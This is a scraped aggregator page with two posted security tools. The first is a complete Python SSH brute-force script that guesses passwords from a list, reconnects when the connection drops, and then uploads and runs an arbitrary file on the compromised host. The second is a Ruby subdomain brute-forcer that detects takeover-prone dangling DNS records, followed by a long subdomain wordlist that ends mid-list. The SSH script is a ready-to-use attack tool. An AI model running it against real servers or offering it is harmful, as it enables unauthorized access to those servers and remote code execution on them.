Quantcast
Channel: anon80 – Security List Network™
Viewing all 62 articles
Browse latest View live

Python Script for Brute Forcing SSHD.

$
0
0

QUICK OVERVIEW:
This script runs a brute force attack on an SSH server version 2, and uploads and executes a file after obtaining a valid password. If connection to the SSH server is lost during the brute force, the script will wait and try to reconnect After each 10 seconds, and the brute force will continue from the last failed password in the password list only if able to connect back to the SSH server. If no route is found, the script will keep trying to connect back until you cancel it with “Control-C”. You can modify the 10 seconds sleep time with the (-s) or (–sleep) option.

BruteForcing Options

BruteForcing Options

ssh_cracker.py script:

# Athor: Abdel Sako
# Profession: Network Engineering

#!/usr/bin/env python
from paramiko import SSHClient, Channel, SFTPClient, AutoAddPolicy, SSHException, AuthenticationException, transport
from optparse import OptionParser
from sys import exit
from os import stat, error, listdir
os_error = error
from socket import error, socket
socket_error = error
from time import sleep
from linecache import getline, clearcache

parser = OptionParser()
parser.add_option("-u", "--user", type="string", dest="user_name", help="User name to brute force")
parser.add_option("-i", "--inet", type="string", dest="ip_address", help="Host name or inet v4 address to attack")
parser.add_option("-L", "--list", type="string", dest="passwd_list", help="Your password list")
parser.add_option("-p", "--passwd", type="string", dest="password", help="Specific password to login with (the -L option  and its arg should be omitted )")
parser.add_option("-l", "--local", type="string", dest="local_file", help="The file to upload and execute, a .sh or .py file")
parser.add_option("-r", "--remote", type="string", dest="remote_dir", help="Directory on the remote host where to upload and execute your code")
parser.add_option("-f", "--files", type="string", dest="files", help="List of extra files you want to upload, but won't be automaticly executed")
parser.add_option("-c", "--cmd", type="string", dest="command", help="Specific command to execute your code with if the file is neither a shell or python script ")
parser.add_option("-P", "--port", type="int", dest="port", help="Specific SSH server port, DEFAULT = 22")
parser.add_option("-s", "--sleep", type="int", dest="Secs", help="Time in second(s) to sleep if the SSH server is not responding, Default is 10s")
parser.add_option("-w", "--wait", type="int", dest="secs", help="Amount of time between each attempt, default is 0s" )
parser.add_option("-a", "--attempt", type="int", dest="num", help="Sleep after \"NUM\" attempt. Default is 0s and sleep time default is 10s")
(options, args) = parser.parse_args()

files = options.files
END = "\n[+] EXITING THE PROGRAM"

class ssh_cracker:
        user = options.user_name
        host = options.ip_address
	dict = options.passwd_list
	local = options.local_file
	remote = options.remote_dir
	passwd = options.password
	command = options.command
	port = options.port
	S = options.Secs
	s = options.secs
	attempt = options.num
	sftp = ''
	def ssh_brute_force(self, USER, HOST, PORT, DICT, n):
		def spec_passwd(PORT): 			# FUNCTION THAT LOGS IN WITH A SPECIFIC PASSWORD
			try:
				ssh.connect(HOST, PORT, username=USER, password=sw.passwd)
				return sw.passwd
			except (SSHException, socket_error):
				print "[-] INVALID PASSWORD: %s"%sw.passwd
				print END
				exit(0)
		def passwd_list(PORT):			# FUNCTION THAT LUNCHES THE BRUTE FORCE ATTACK
			while 1:
				line = getline(sw.dict, n)
				password = line.split('\n')[0]
				try:
					print "[+] TRYING TO GUESS THE PASSWORD, ATTACKING HOST:",sw.host,":",sw.port," ==> #:",n," || USERNAME: %s <:> PASSWORD: %s"%(sw.user, password)
					print "[+] WAIT TIME BETWEEN EACH ATTEMPT: ",sw.s,"s"
					sleep(sw.s)
					ssh.connect(HOST, PORT, username=USER, password=password)
					clearcache()
					return password
					break

				except (AuthenticationException, socket_error, transport):
					print "[-] FAILED ... "
					clearcache()
					ssh.close()
					return n
					continue
				else:
					return password

		if sw.passwd and sw.dict != None:
			print '[-] "INVALID OPTION CONBINATION, -d" or "--dict" and "-p" or "--passwd" OPTIONS CAN\'T WORK TOGETHER'
			print END
			exit(0)
		elif sw.passwd != None:
			print "\n[+] LOGIN INTO HOST WITH A SPECIFIC PASSWORD: %s" %(sw.passwd)
			if sw.port == None:
				sw.port = 22
				retr = spec_passwd(sw.port)
			elif sw.port != None:
				retr = spec_passwd(sw.port)
		elif sw.dict != None:
			if sw.port == None:
				sw.port = 22
				retr = passwd_list(sw.port)
			elif sw.port != None:
				retr = passwd_list(sw.port)
		return retr

	def file_upload(self, LOCAL_PATH, REMOTE_PATH):		# FUNCTION THAT UPLOADS THE FILE TO BE EXECUTED 
		try:
			if REMOTE_PATH[-1] != '/':
				REMOTE_PATH = REMOTE_PATH+'/'
			try:
				sw.sftp.stat(REMOTE_PATH)
			except (IOError, SSHException) as e:
				if '[Errno 13]' in str(e):
					print "[-] SFTP: PERMISSION DENIED: COULDN\'T ACCESS \"%s\" ON THE REMOTE HOST \"%s\""%(REMOTE_PATH, sw.host)
					print END
					exit(0)
				elif '[Errno 2]':
					print "[-] SFPT: NO SUCH DIRECTORY \"%s\" IN THE REMOTE HOST \"%s\" FILESYSTEM"%(REMOTE_PATH, sw.host)
					print END
					exit(0)
				else:
					print "[-] SFTP ERROR: FAILED TO UPLOAD \"%s\""%(sw.local)
					print END
					exit(0)
			REMOTE_FILE = REMOTE_PATH+LOCAL_PATH.split('/')[-1]
			sw.sftp.put(LOCAL_PATH, REMOTE_FILE)
		except (IOError, SSHException) as e:
			if '[Errno 13]' in str(e):
				print "\n[-] SFTP: PERMISSION DENIED: COULDN'T ACCESS \"%s\" ON THE REMOTE HOST \"%s\""%(sw.remote, sw.host)
				print "[-] SFTP: FAILED TO UPLOAD"
				print END
				exit(0)
			else:
				print "\n[-] SFTP ERROR: FAILED TO UPLOAD %s"%(sw.local)
				print END
				del e
				exit(0)
		return  REMOTE_FILE

	def exe_file(self, cmd, ext):				# FUNCTION THAT EXECUTES THE UPLOADED FILE
		ch = ssh.get_transport().open_session()
		try:
			if ext == 'sh':
				cmd = 'sh'
				if sw.command != None:
					cmd = sw.command
				print "[+] EXECUTING %s ON THE REMOTE HOST..."%(sw.local)
				ch.exec_command(cmd+" "+file)
				print '[+] THE COMMAND "'+cmd+' '+file+'" WAS EXECUTED'
			elif ext == 'py':
				cmd = 'python'
				if sw.command != None:
					cmd = sw.command
				print "[+] EXECUTING %s ON THE REMOTE HOST..."%(sw.local)
				ch.exec_command(cmd+" "+file)
				print '[+] THE COMMAND"'+cmd+' '+file+'" WAS EXECUTED'
			elif ext != 'sh' and ext != 'py':
				cmd = sw.command
				print "[+] EXECUTING %s ON THE REMOTE HOST..."%(sw.local)
				ch.exec_command(cmd+" "+file)
				print '[+] THE COMMAND "'+cmd+' '+file+'" WAS EXECUTED'
		except SSHException:
			print "[-] SSH: %s COMMAND EXECUTION FAILED"+sw.command
			ch.close()
			print END
			exit(0)
		else:
			data = ch.recv(2048), ch.recv_stderr(1024)
			ch.close()
			return data

def upload_files():			# FUNCTION THAT UPLOADS ADDITIONAL FILES
	for f in fichier:
		try:
			if sw.remote[-1] != '/':
				sw.remote = sw.remote+'/'
			try:
				r = sw.sftp.listdir(sw.remote)
			except (IOError, SSHException) as e:
				if '[Errno 13]' in str(e):
					print "[-] SFTP: PERMISSION DENIED: COULDN\'T ACCESS \"%s\" ON THE REMOTE HOST \"%s\""%(sw.remote, sw.host)
					print END
					exit(0)
				elif '[Errno 2]' in str(e):
					print "[-] NO SUCH DIRECTORY: \"%s\", IN THE REMOTE HOST \"%s\" FILE SYSTEM"%(sw.remote, sw.host)
					print END
					exit(0)
				del e
				print "[-] \"%s\" DOES NOT EXIST ON \"%s\" or YOU DO NOT HAVE PRIVILEGES TO ACCESS IT"%(sw.remote, sw.host)
				print "[-] FAILED TO UPLOAD: \"%s\" to \"%s/%s\""%(files, sw.local,sw.remote)
				print END
				exit(0)
			print "[+] UPLOADING \"%s\" TO \"%s\" ON THE REMOTE \"%s\""%(f, sw.remote, sw.host)
			sw.sftp.put(f, sw.remote+f.split('/')[-1])
			print "[+] \"%s\" WAS SUCCESSFULLY UPLOADED TO \"%s\""%(f, sw.host)
		except (IOError, SSHException) as e:
			if '[Errno 13]' in str(e):
				print "[-] SFTP: PERMISSION DENIED: COULDN\'T ACCESS \"%s\" ON THE REMOTE HOST \"%s\""%(sw.remote, sw.host)
				print END
				exit(0)
			else:
				print "[-] SFTP ERROR: FAILED TO UPLOAD."
				print END
				exit(0)

def test_host_route(slp):		# FUNCTION THAT TEST IF THE REMOTE HOST IS ACTIVE AND ALLOWING TRAFFIC TO THE SSH SERVER
	while 1:
		print "[+] SLEEPING FOR ",slp,"s AND WILL TRY TO CONNECT BACK" 
		sleep(slp)
		sock_verif2 = socket()
		try:
			sock_verif2.connect((sw.host, sw.port))
			sock_verif2.close()
			del sock_verif2
			break
		except socket_error:
			sock_verif2.close()
			print "[-] NO ROUTE FOUND TO ",sw.host,":",sw.port
			del sock_verif2
def handle_file(FILE):
	try:
		d = listdir(FILE)
		del d
		print "[-] NO SUCH FILE: \"%s\""%FILE
		print END
		exit(0)
	except (os_error, IOError) as e:
		if '[Errno 2]' in str(e):
			print "[-] NO SUCH FILE: \"%s\""%(FILE)
			print END
			exit(0)
		elif '[Errno 13]' in str(e):
			print "[-] PERMISSION DENIED: COULDN\'T ACCESS \"%s\""%(FILE)
			print END
			exit(0)
	try:
		stat(FILE)
	except (IOError, os_error) as e:
		if '[Errno 13' in str(e):
			print "SYSTEM: PERMISSION DENIED: COULDN\'T ACCESS \"%s\""%(FILE)
			print END
			exit(0)
		else:
			print "[-] NO SUCH FILE"
			print END
			exit(0)

def sftp_open():
	try:                                                             # DEFINING THE "sftp" variable and OPENING SFTP A CONNECTION TO THE REMOTE SERVER
		sw.sftp = ssh.open_sftp()
		return sw.sftp
	except SSHException:                                             # THE SCRIPT WILL EXIT IF IT FAILS TO OPEN AN SFTP CONNECTION AFTER OBTAINING A
		print "\n[-] FAILED TO OPEN AN SFTP CONNECTION"		 # VALID PASSWORD DURING THE BRUTE FORCE
		print "[-] ACCESS DENIED"
		print END
		exit(0)
				
if __name__ == "__main__" :

	sw = ssh_cracker()
	tries = 0
	if sw.host == None and sw.port == sw.user and sw.S == sw.s and sw.command == sw.local and sw.remote == files and sw.passwd == sw.dict:
		print "Usage: "
		print "\tBrute Force: \t\t\tpython ",__file__," -i 1.2.3.4 -u username -L password_list.txt"
		print "\t\t\t\t\tpython ",__file__," -i 1.2.3.4 -u username -L password_list.txt -a 5 -s 5\n"
		print "\tBrute force, Upload & Exe: \tpython ",__file__," -i 1.2.3.4 -u username -L password_list.txt -l local_file.sh -r remote_directory"
		print "\t\t\t\t\tpython ",__file__," -i 1.2.3.4 -u username -L password_list.txt -l local_file.sh -r remote_directory -f \"file1,file2,file3\"\n"
		print "\tFile transfert:"
		print "\t\t\t\t\tpython ",__file__," -i 1.2.3.4 -u username -p \"password\" -f \"file1,file2,file3\" -r remote_directory\n"
		print "\tTest login:"
		print "\t\t\t\t\tpython ",__file__," -i 1.2.3.4 -u username -p \"password\""
		print END
		exit(0)
	elif sw.user == None:
		print "HELP:\n\t\tshell> python ",__file__,"\n\t\tshell> python ",__file__," -h"
		print END
		exit(0)
	elif sw.dict == None:
		if sw.passwd == None:
			print "HELP:\n\t\tshell> python ",__file__,"\n\t\tshell> python ",__file__," -h"
			print END
			exit(0)
	elif sw.host == None:
		print "HELP:\n\t\tshell> python ",__file__,"\n\t\tshell> python ",__file__," -h"
		print END
		exit(0)
	else:
		pass

	if sw.S != None:
		if sw.S < 0:
        	        print "\n[-] THE TIME TO SLEEP AFTER A DISCONNECTION MUST BE AN INTEGER SUPERIOR OR EQUAL TO \"0\""
        	        print END
               	 	exit(0)
	if sw.remote != None:
		if files == None:
			if sw.local == None:
				print "[-] INVALID OPTION CONBINAISON: YOU MUST SPECIFY A FILE OR FILES TO UPLOAD WITH THE \"-l\" OR \"-f\" "
				print END
				exit(0)
	if sw.local != None:
		handle_file(sw.local)
	n = 1

	if sw.host == None:
		print "[-] YOU MUST SPECIFY AN IP ADDRESS WITH THE \"-i\" OR \"--inet\" OPTION "
		print END
		exit(0)
	if sw.port == None:
		sw.port = 22
	s = socket()
	try:
		if sw.port <= 0:
			print "[-] THE PORT NUMBER MUST BE AN INTERGER SUPERIOR TO 0"
			print END
			exit(0)
		s.connect((sw.host, sw.port))
	except (socket_error,  KeyboardInterrupt):
		print "[-] HOST NOT FOUND: ",sw.host,":",sw.port
		print "[-] VERIFY IF ",sw.host,"IS ACTIVE, AND MAKE SURE AN SSH SERVER IS RUNNING AND ALLOWING TRAFFIC ON PORT ",sw.port
		print END
		exit(0)

	ssh = SSHClient()
	ssh.set_missing_host_key_policy(AutoAddPolicy())

	if files != None and sw.remote == None:
		print "\n[-] YOU MUST SPECIFY A REMOTE DIRECTORY WHERE TO UPLOAD YOUR FILES USING THE \"-r\" OR \"--remote\" OPTION"
		print END
		exit(0)
	if sw.local != None:
		try:
			stat(sw.local)
			if sw.remote == None:
				print "[-] SPECIFY A DIRECTORY WHERE TO UPLOAD AND EXECUTE %s USING THE \"-r\" OR \"--remote\" OPTION"%(sw.local)
				print END
				exit(0)
		except os_error:
			print "\n[-] %s: NO SUCH!!!"%(sw.local)
			print "[-] VERIFY YOUR LOCAL PATH AND FILE NAME\n"
			exit(0)
		else:
			fichier_local = sw.local
			if fichier_local.split('.')[-1] != 'sh' and fichier_local.split('.')[-1] != 'py':
				if sw.command == None:
					print "\n[-] THE FILE YOU CHOSE TO UPLOAD AND EXECUTE IS NEITHER A \"shell\" NOR A \"python\" SCRIPT."
					print "[-] YOU MUST SPECIFY THE EXECUTION COMMAND WITH THE \"-c\" or \"--command\" option "
					print "[+] EXAMPLE: python ",__file__," -i 127.0.0.1 -u root -L passwd.txt -l java.jar -r /tmp -c \"java -jar\""
					print END
					exit(0)
	elif sw.command != None:
		if sw.local == None:
			print "\n[-] INVALID OPTION CONBINATION: \"-c\" or \"--cmd\" MUST BE COMBINED WITH THE \"-l\" OR \"--local\" AND \"-r\" OR \"--remote\" OPTIONS"
			print END
			exit(0)
		elif sw.remote == None:
			print "\n[-] YOU MUST SPECIFY A DIRECTORY WHERE TO UPLOAD AND EXECUTE %s WITH THE \"-r\" OR \"--remote\" OPTION"%(sw.local)
			print END
			exit(0)

	if files != None:
		if files[0] == ' ':
			print "\n[-] ARGUMENT ERROR: A SPACE WAS DETECTED AFTER THE FIRST QUOTATION MARK AT THE BEGINNING OF THE ARGUMENT"
			print "[+] EXAMPLE: python ",__file__," -i 127.0.0.1 -u root -L passwd.txt -l java.jar -r /tmp -c \"java -jar\" -f \"file1,file2,file3\""
			print END
			exit(0)
		elif files[-1] == ' ':
			print "[-] ARGUMENT ERROR: A SPACE WAS DETECTED BEFORE THE QUOTATION MARK AT THE END OF THE ARGUMENT"
			print END
			exit(0)
		else:
        		fichier = files.split(',')
	        	for f in fichier:
				handle_file(f)
                		if f[0] == ' ':
                        		print "[-] ERROR: A SPACE WAS DETECTED BETWEEN "+f+" AND THE PRECEDING COMMA"
					print END
					exit(0)
	        	        elif f[-1] == ' ':
        	        	        print "[-] ERROR: A SPACE WAS DETECTED BETWEEN "+f+" AND THE FOLLOWING COMMA"
					print END
					exit(0)
		for f in fichier:
			try:
				if stat(f):
					pass
			except os_error:
				print "[-] "+f+": NO SUCH FILE"
				print "[-] CHECK THE YOUR FILE(S) NAME(S) AND ITS/THEIR PATH(S)"
				print END
				exit(0)
	else:
		pass

	if sw.dict != None:
		try:
			f = open(sw.dict, 'r')
			m = len(f.readlines())
			f.close()
		except IOError:
			print "[-] CHECK YOUR PASSWORD LIST FILE NAME AND ITS PATH: %s"%(sw.dict)
			print END
			exit(0)
	if sw.s == None:
		sw.s = 0

	while 1:		# BEGIN: ################## HERE IS WHERE THE BRUTE FORCE BEGINS #####################################
		try:
			sock_verif = socket()
			sock_verif.connect((sw.host, sw.port))
			rtrn = sw.ssh_brute_force(sw.user, sw.host, sw.port, sw.passwd, n) #FUNCTION CALL THAT LUNCHES THE BRUTE FORCE ATTACK
			if rtrn != n:
                        	break
			elif sw.attempt != None:
				sw.attempt -= 1
				tries += 1
				if sw.attempt == 0:
					sw.attempt = tries
					tries = 0
					if sw.S == None:
						print "[+] SLEEPING FOR 10s AND WILL CONTINUE THE BRUTE FORCE..."
						sleep(10)
					elif sw.S != None:
						print "[+] SLEEPING FOR ",sw.S,"s AND WILL CONTINUE THE BRUTE FORCE..."
						sleep(sw.S)

			elif n == m:
				print "[-] PASSWORD NOT FOUND, TRY ANOTHER PASSWORD LIST"
				print END
				exit(0)
			n += 1

			sock_verif.close()
			del sock_verif
		except (socket_error, SSHException, AuthenticationException, KeyboardInterrupt):
			sock_verif.close()
			del sock_verif
			print "\n[-] BRUTE FORCE INTERRUPTED BY KEYBOARD INPUT OR CONNECTION WAS REFUSED BY THE REMOTE HOST"
			print "\n[+] SLEEPING!!!\n.................................................................................."
			print "    	\n\t\t STRIKE \"^C\" TO EXIT THE SCRIPT\n"
			print ".................................................................................."
			try:
				if sw.S == None:
					test_host_route(10)
				elif sw.S != None:
					test_host_route(sw.S)
			except KeyboardInterrupt:
				print END
				exit(0)			######################## END ###################################
	print "\n[+] SUCCESS!!! THESE CREDENTIALS ARE VALID >>>>>>>> USERNAME: %s || PASSWORD: %s \n" %(sw.user, rtrn)

	if sw.remote != None and sw.local != None:
		c = sftp_open()
		print "[+] UPLOADING \"%s\" TO \"%s\" ON THE REMOTE HOST \"%s\""%(sw.local, sw.remote, sw.host)
		file = sw.file_upload(sw.local, sw.remote) #THIS FUNCTION CALL UPLOADS THE EXECUTABLE FILE
		print "[+] SUCESSFULLY UPLOADED \"%s\" TO \"%s\""%(sw.local, sw.host)
		c.close()

	if files != None and sw.remote != None: 		# THIS VARIABLE IS THE "files" VARIABLE NOT "file", DON'T CONFUSE THEM
			c = sftp_open()
			upload_files()		# FUNCTION CALL THAT UPLOADS ALL THE ADDITIONNAL FILES

			c.close() 		# CLOSING THE SFTP CONNECTION

	if sw.local != None and sw.remote != None:
		y = file.split('/')[-1]
		x = y.split('.')[-1] 	# "x" CONTAINS THE FILE EXTENTION VALUE 

		if x == 'sh' or x == 'py':					############ BEGIN: EXECUTION OF THE UPLOADED FILE ##############
			val_rtrn = sw.exe_file('', x) 				# 	FIRST VERIFIES IF IT'S A SHELL OR PYTHON SCRIPT,
		elif x != 'sh' or x != 'py':					#	AND WILL AUTOMATICALLY EXECUTE THE FILE.
			if sw.command != None:					#	BUT IF THE FILE EXTENTION IS DIFFERENT FROM THE ONES
				val_rtrn = sw.exe_file(sw.command, '') 		#	ABOVE, THEN THE USER WILL HAVE TO PARSE
		if val_rtrn [0] != '':						#	THE "-c" OR "--cmd" OPTION
			print "\n[+] ",val_rtrn[0]

		if val_rtrn[1] == '':
			print "[+] SUCCESSFULLY EXECUTED"
		elif val_rtrn[1] != '':
			print "[-] BUT SOMETHING WENT WRONG"
			print "[-] HERE IS THE VALUE OF THE \"stderr\" RETURNED: "
			print "\n[-] "+val_rtrn[1]				############################ END: #############################

	ssh.close()
	s.close()
	exit(0)

 

Source : https://github.com/DisjointTech


HostileSubBruteforcer – Pure Subdomain Bruteforce.

$
0
0

This app will bruteforce for exisiting subdomains and provide the following information:
+ IP address
+ Host
+ if the 3rd party host has been properly setup. (for example if site.example.com is poiting to a nonexisiting Heroku subdomain, it’ll alert you) -> Currently only works with AWS, Github, Heroku, shopify, tumblr, blogspot/blogger and squarespace.
There may be some false positives depending on the host configurations.

Example Output

Example Output

sub_brute.rb Script:

#!/usr/bin/env ruby
require 'io/console'
require 'net/http'
require 'open-uri'
require 'resolv'
require 'socket'
require 'timeout'


=begin
###############################################
Pure subdomain bruteforcer:
Will check and see if host is pointing to AWS
Alrets if a subdomain returns 404 so you can
manually check and see if it's hosted on a
3rd party website and if they are registered
properly or not.
Author : Behrouz Sadeghipour
Email  : bensadeghi@gmail.chom
Twitter: @NahamSec
http:://github.com/nahamsec
###############################################
=end

class String
def black;          "\e[30m#{self}\e[0m" end
def red;            "\e[31m#{self}\e[0m" end
def green;          "\e[32m#{self}\e[0m" end
def brown;          "\e[33m#{self}\e[0m" end
def blue;           "\e[34m#{self}\e[0m" end
def magenta;        "\e[35m#{self}\e[0m" end
def cyan;           "\e[36m#{self}\e[0m" end
def brown;           "\e[37m#{self}\e[0m" end

def bg_black;       "\e[40m#{self}\e[0m" end
def bg_red;         "\e[41m#{self}\e[0m" end
def bg_green;       "\e[42m#{self}\e[0m" end
def bg_brown;       "\e[43m#{self}\e[0m" end
def bg_blue;        "\e[44m#{self}\e[0m" end
def bg_magenta;     "\e[45m#{self}\e[0m" end
def bg_cyan;        "\e[46m#{self}\e[0m" end
def bg_brown;        "\e[47m#{self}\e[0m" end

def bold;           "\e[1m#{self}\e[22m" end
def italic;         "\e[3m#{self}\e[23m" end
def underline;      "\e[4m#{self}\e[24m" end
def blink;          "\e[5m#{self}\e[25m" end
def reverse_color;  "\e[7m#{self}\e[27m" end
end

def host(get_host) #get cname data and check response code for 404 and alert user
  Resolv::DNS.open do |dns|
    res = dns.getresources get_host, Resolv::DNS::Resource::IN::CNAME
    if res.empty?
      break
    end

    heroku_error = "there is no app configured at that hostname".red.bold
    amazonAWS_error = "NoSuchBucket".red.bold
    squarespace_error = "No Such Account".red.bold
    github_error = "There isn't a GitHub Pages site here".red.bold
    shopify_error = "Sorry, this shop is currently unavailable.".red.bold
    tumblr_error = "There's nothing here.".red.bold
    wpengine_error = "The site you were looking for couldn't be found.".red.bold

    check_it = ""
    real_host = res.first.name.to_s
      check_real_host = "http://"+real_host
      check_it = Net::HTTP.get(URI.parse(check_real_host))
      if  (check_it.index("There is no app configured at that hostname"))
          puts "- Subdomain pointing to a non-existing Heroku app showing: ".red + heroku_error
      elsif (check_it.index("NoSuchBucket"))
        puts "- Subdomain pointing to an unclaimed AmazonAWS bucket showing: ".red + amazonAWS_error
      elsif (check_it.index("No Such Account"))
        puts "- Subdomain pointing to a non-existing SquareSpace account showing: ".red + squarespace_error
      elsif (check_it.index("You're Almost There"))
        puts "- Subdomain pointing to a non-existing SquareSpace account showing: ".red + squarespace_error
      elsif (check_it.index("There isn't a GitHub Pages site here"))
        puts "- Subdomain pointing to a non-existing Github subdomain indicating".red + github_error
      elsif (check_it.index("Sorry, this shop is currently unavailable."))
        puts "- Subdomain pointing to a non-existing Shopify subdomain indicating".red + shopify_error
      elsif (check_it.index("There's nothing here."))
        puts "- Subdomain pointing to a non-existing Tumblr subdomain indicating".red + tumblr_error
      elsif  (check_it.index("The site you were looking for couldn't be found."))
        puts "- Subdomain pointing to a non-existing WPEngine subdomain indicating".red + wpengine_error
      end
      if (real_host = get_host)
      else
        puts ("- Seems like " + get_host +  " is an alias for " + real_host).brown
      end
  end
  return
end

def get_response_code(targetURI)
  target = "http://"+targetURI
    begin
      Timeout::timeout(5) {
        res = Net::HTTP.get_response(URI.parse(target))
        getCode = res.code
        ip_address = Resolv.getaddress targetURI
        puts getCode + " " + targetURI.green + " ---> " + ip_address + " "
        host(targetURI)
        if getCode == "404"
          puts "----> Check for further information on where this is pointing to.".red
        end
        }

  rescue Timeout::Error
  rescue URI::InvalidURIError
  rescue SocketError
  rescue Errno::ECONNREFUSED
  end

end



def openFile(file_name, getURI)
File.open(file_name, "r") do |f|
  f.each_line do |line|
    targetURI = line.chomp + "." + getURI
    get_response_code(targetURI)
    end
  end
end
system "clear"
puts "Enter a domain you'd like to brute force and look for hostile subdomain takeover(example: yahoo.com)"
getURI = gets.chomp
openFile "list.txt", getURI

list.txt:

0
01
02
03
0_
1
10
11
12
13
14
15
159
16
167
17
18
19
190
2
20
202
208
209
212
213
216
237
244
3
3com
3g
4
4k
5
59
6
61
7
8
9
98-62
a
a.auth-ns
a01
a02
a1
a2
abc
abhsia
about
ac
academico
acceso
access
account
accounting
accounts
acessonet
acid
activestat
activity
ad
ad1
ad2
ad3
adam
adimg
adkit
adm
admin
admin.test
administracion
administrador
administrator
administrators
admins
ads
adserver
adserver2
adsl
adslgp
adv
advance
advertising
ae
af
affiliate
affiliates
afiliados
ag
agenda
agent
ai
aix
ajax
ak
akamai
al
alabama
alaska
albq
album
albuquerque
alerts
alestra
alpha
alt
alterwind
am
amarillo
amedd
americas
an
anaheim
analyzer
android
anime
ann
announce
announcements
antivirus
ao
ap
apache
apg
api
api-test
api.news
apol
apollo
app
app01
app1
app2
appdev
apple
application
applications
applwi
apps
appserver
aq
ar
araba
arc
archie
archive
archives
arcsight
argentina
arizona
arkansas
arlington
arpa
ars
as
as400
asia
asianet
ask
asm
asterix
at
athena
atlanta
atlas
att
au
auction
austin
austtx
auth
auth1
auth2
auth3
auto
autodiscover
autos
av
available
avantel
aw
ayuda
az
b
b.auth-ns
b01
b02
b1
b2
b2b
b2c
ba
back
backend
backoffice
backup
backup1
baker
bakersfield
balance
balancer
baltimore
banking
bayarea
bb
bbdd
bbs
bchsia
bcvloh
bd
bdc
be
bea
beacon
beta
beta.m
bf
bg
bgk
bh
bhm
bi
bigpond
billing
bit
bitex
biz
biztalk
bj
bk
black
blackberry
bliss
blog
blogger
blogs
blue
blueyonder
bm
bn
bna
bnc
bo
bob
bof
bois
boise
bol
bolsa
books
bootp
border
boston
boulder
boy
bpb
br
brasiltelecom
bravo
brazil
bredband
britian
broadband
broadcast
broker
bronze
brown
bs
bsd
bsd0
bsd01
bsd02
bsd1
bsd2
bt
btas
buddy.webchat
buffalo
bug
buggalo
bugs
bugzilla
build
bulletins
burn
burner
buscador
business
buy
buzz
bv
bw
by
bz
c
c.auth-ns
ca
cable
cache
cache1
cache2
cache3
cacti
cae
cafe
calendar
california
call
calvin
campus
canada
canal
cancer
canli
canon
careers
catalog
cc
ccgg
cd
cdburner
cdn
cdntest
cert
certificates
certify
certserv
certsrv
cf
cg
cgi
ch
challenge
channel
channels
charlie
charlotte
chat
chat2
chats
chatserver
chcgil
check
checkpoint
chi
chicago
christmas
chs
ci
cicril
cidr
cims
cinci
cincinnati
cisco
cisco1
cisco2
citrix
ck
cl
class
classes
classifieds
classroom
cleveland
click
click1.mail
clicktrack
client
clientes
clients
clsp
clt
clta
club
clubs
cluster
clusters
cm
cmail
cms
cn
cname
co
cocoa
code
codetel
coldfusion
colombus
colorado
columbus
com
comet.webchat
commerce
commerceserver
communigate
community
compaq
compras
compute-1
con
concentrator
conf
conference
conferencing
confidential
connect
connecticut
consola
console
consult
consultant
consultants
consulting
consumer
contact
content
contracts
contribute
core
core0
core01
core2
cork
corp
corp-eur
corpmail
corporate
correo
correoweb
cortafuegos
counter
counterstrike
coupon
courses
cp1
cp10
cp2
cp3
cp4
cp5
cp6
cp7
cp8
cp9
cpanel
cpe
cr
crawl
cricket
crm
crs
cs
cso
css
ct
cu
cust
cust-adsl
cust1
cust10
cust100
cust101
cust102
cust103
cust104
cust105
cust106
cust107
cust108
cust109
cust11
cust110
cust111
cust112
cust113
cust114
cust115
cust116
cust117
cust118
cust119
cust12
cust120
cust121
cust122
cust123
cust124
cust125
cust126
cust13
cust14
cust15
cust16
cust17
cust18
cust19
cust2
cust20
cust21
cust22
cust23
cust24
cust25
cust26
cust27
cust28
cust29
cust3
cust30
cust31
cust32
cust33
cust34
cust35
cust36
cust37
cust38
cust39
cust4
cust40
cust41
cust42
cust43
cust44
cust45
cust46
cust47
cust48
cust49
cust5
cust50
cust51
cust52
cust53
cust54
cust55
cust56
cust57
cust58
cust59
cust6
cust60
cust61
cust62
cust63
cust64
cust65
cust66
cust67
cust68
cust69
cust7
cust70
cust71
cust72
cust73
cust74
cust75
cust76
cust77
cust78
cust79
cust8
cust80
cust81
cust82
cust83
cust84
cust85
cust86
cust87
cust88
cust89
cust9
cust90
cust91
cust92
cust93
cust94
cust95
cust96
cust97
cust98
cust99
customer
customers
cv
cvs
cx
cy
cz
d
d4
da
daily
dallas
data
database
database01
database02
database1
database2
databases
datastore
dating
datos
david
db
db0
db01
db02
db1
db2
db3
db4
dc
de
dealers
dec
ded
def
default
defiant
delaware
dell
delta
delta1
demo
demon
demonstration
demos
denver
deploy
depot
des
desarrollo
descargas
design
designer
detroit
dev
dev.movie
dev.music
dev.news
dev.payment
dev.travel
dev.www
dev0
dev01
dev1
devel
develop
developer
developers
development
device
devserver
devsql
dhcp
dhcp-bl
dhcp-in
dhcp4
dial
dialuol
dialup
dictionary
diet
digital
digitaltv
dilbert
dion
dip
dip0
dir
direct
directory
disc
discovery
discuss
discussion
discussions
disk
disney
distributer
distributers
dj
dk
dm
dmail
dmz
dnews
dns
dns-2
dns0
dns1
dns2
dns3
dns4
dns5
do
docs
documentacion
documentos
domain
domains
dominio
domino
dominoweb
domolink
doom
download
download2
downloads
downtown
dragon
drm
drupal
dsl
dsl-w
dt
dti
dublin
dv1
dyn
dynamic
dynamicIP
dynip
dz
e
e-com
e-commerce
e0
eagle
earth
east
ec
echo
ecom
ecommerce
ed
edge
edi
editor
edu
education
edward
ee
eg
eh
ejemplo
ekonomi
elections
elpaso
email
embratel
emhril
employees
empresa
empresas
en
enable
enews
eng
eng01
eng1
engine
engineer
engineering
enterprise
entertainment
eonet
epm
epsilon
er
erp
error
es
esd
esm
espanol
est
estadisticas
esx
et
eta
etb
eu
eur
europe
event
events
exam
example
exams
exchange
exec
ext.webchat
extern
external
extranet
f
f5
facebook
falcon
family
farm
faststats
fax
fb
fbx
fe1
fe2
feed
feedback
feeds
fi
fibertel
field
file
files
fileserv
fileserver
filestore
filter
fin
finance
find
finger
fios
firewall
fix
fixes
fj
fk
fl
flash
florida
flow
flv
fm
fo
foobar
food
football
form
formacion
foro
foros
fortune
fortworth
forum
forums
foto
fotogaleri
fotos
foundry
fox
foxtrot
fr
france
frank
fred
free
freebsd
freebsd0
freebsd01
freebsd02
freebsd1
freebsd2
freeware
fresno
frokca
front
frontdesk
fs
fsp
ftas
ftd
ftp
ftp-
ftp0
ftp2
ftpserver
ftp_
fw
fw-1
fw1
fwd
fwsm
fwsm0
fwsm01
fwsm1
g
ga
galeria
galerias
galleries
gallery
galway
game
game1
gameinfo
games
gamma
gandalf
gate
gatekeeper
gateway
gauss
gd
ge
gemini
general
genericrev
george
georgia
germany
gf
gg
gh
gi
giga
gitlab
gl
